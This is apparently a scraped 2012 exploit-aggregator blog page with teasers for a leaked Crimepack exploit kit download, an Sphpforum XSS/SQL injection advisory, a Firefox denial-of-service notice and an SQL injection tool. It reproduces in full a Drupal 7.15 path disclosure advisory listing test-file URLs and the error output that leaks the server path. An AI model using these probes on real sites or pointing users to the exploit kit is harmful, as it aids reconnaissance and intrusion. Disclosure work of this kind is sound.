Crimepack 3.1.3 Exploit kit Leaked, available for Download!

Crimepack 3.1.3 Exploit kit Leaked, available for Download!

Part 1: Java Exploit As stated above, I focus on a malware that exploits a recent JRE vulnerability: CVE-2010-0840 to execute malicious fi...

Sphpforum 0.4 Cross Site Scripting / SQL Injection

Sphpforum 0.4 Cross Site Scripting / SQL Injection

Sphpforum 0.4 Cross Site Scripting / SQL Injection

# Product: sphpforum # Version: 0.4 (older versions may be affected) # # Software Download: http://sourceforge.net/projects/sphpforum/ # Des...

Drupal 7.15 Path Disclosure Vulnerability

<pre>============================================================<br />Vulnerable Software: Drupal 7.15<br />Downloaded from: http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz<br />Vuln Type: Path Disclosure<br />============================================================<br />Tested:<br />*php.ini MAGIC_QUOTES_GPC OFF*<br />Safe mode off<br />OS: Windows XP SP2 (32 bit)<br />Apache: 2.2.21.0<br />PHP Version: 5.2.17.17<br />MYSQL:  5.5.27<br />============================================================<br /> <br />Drupal 7.15 is vulnerable to Path Disclosure.<br /> <br />My installation PATH is:<br />C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\<br /> <br /> <br />Try Direct access and it will expose such information:<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.bare.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.bare.database.php on line 17<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.comments.database.php<br /> <br />Fatal error: Call to undefined function db_update() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.comments.database.php on line 2<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.filled.database.php<br /> <br />Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.filled.database.php on line 26<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.forum.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.forum.database.php on line 7<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.locale.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.locale.database.php on line 7<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.menu.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.menu.database.php on line 2<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.node_type_broken.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.node_type_broken.database.php on line 2<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.translatable.database.php<br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.translatable.database.php on line 7<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.trigger.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_create_table() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.trigger.database.php on line 6<br /> <br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.upload.database.php<br /> <br /> <br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.upload.database.php on line 3<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-no-password-token.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-no-password-token.database.php on line 2<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-6.user-password-token.database.php<br /> <br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-6.user-password-token.database.php on line 2<br /> <br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.field.database.php<br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.field.database.php on line 8<br />=========================================================================================<br /> <br />http://192.168.0.15/learn/drupal715/drupal-7.15/modules/simpletest/tests/upgrade/drupal-7.trigger.database.php<br /> <br />Fatal error: Call to undefined function db_insert() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\drupal715\drupal-7.15\modules\simpletest\tests\upgrade\drupal-7.trigger.database.php on line 8<br /> <br />==========================NO ONE AND NOTHING IS IDEAL======================================<br /> <br />/AkaStep<br /> <br /> <br /> <br /># 1337day.com [2012-11-27]<br /></pre>

Drupal 7.15 Path Disclosure Vulnerability

Drupal 7.15 Path Disclosure Vulnerability

============================================================ Vulnerable Software: Drupal 7.15 Downloaded from: http://ftp.drupal.org/files/p...

Mozilla Firefox Remote Denial of Service Vulnerability

Mozilla Firefox Remote Denial of Service Vulnerability

Mozilla Firefox Remote Denial of Service Vulnerability

Mozilla Firefox is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to make the affected computer...

SQLCake - automatic SQL injection exploitation kit

SQLCake - automatic SQL injection exploitation kit

SQLCake - automatic SQL injection exploitation kit

What is sqlcake? sqlcake is an automatic SQL injection exploitation kit written in Ruby . It's designed for system administration and p...

Subscribe to: Posts (Atom)

Top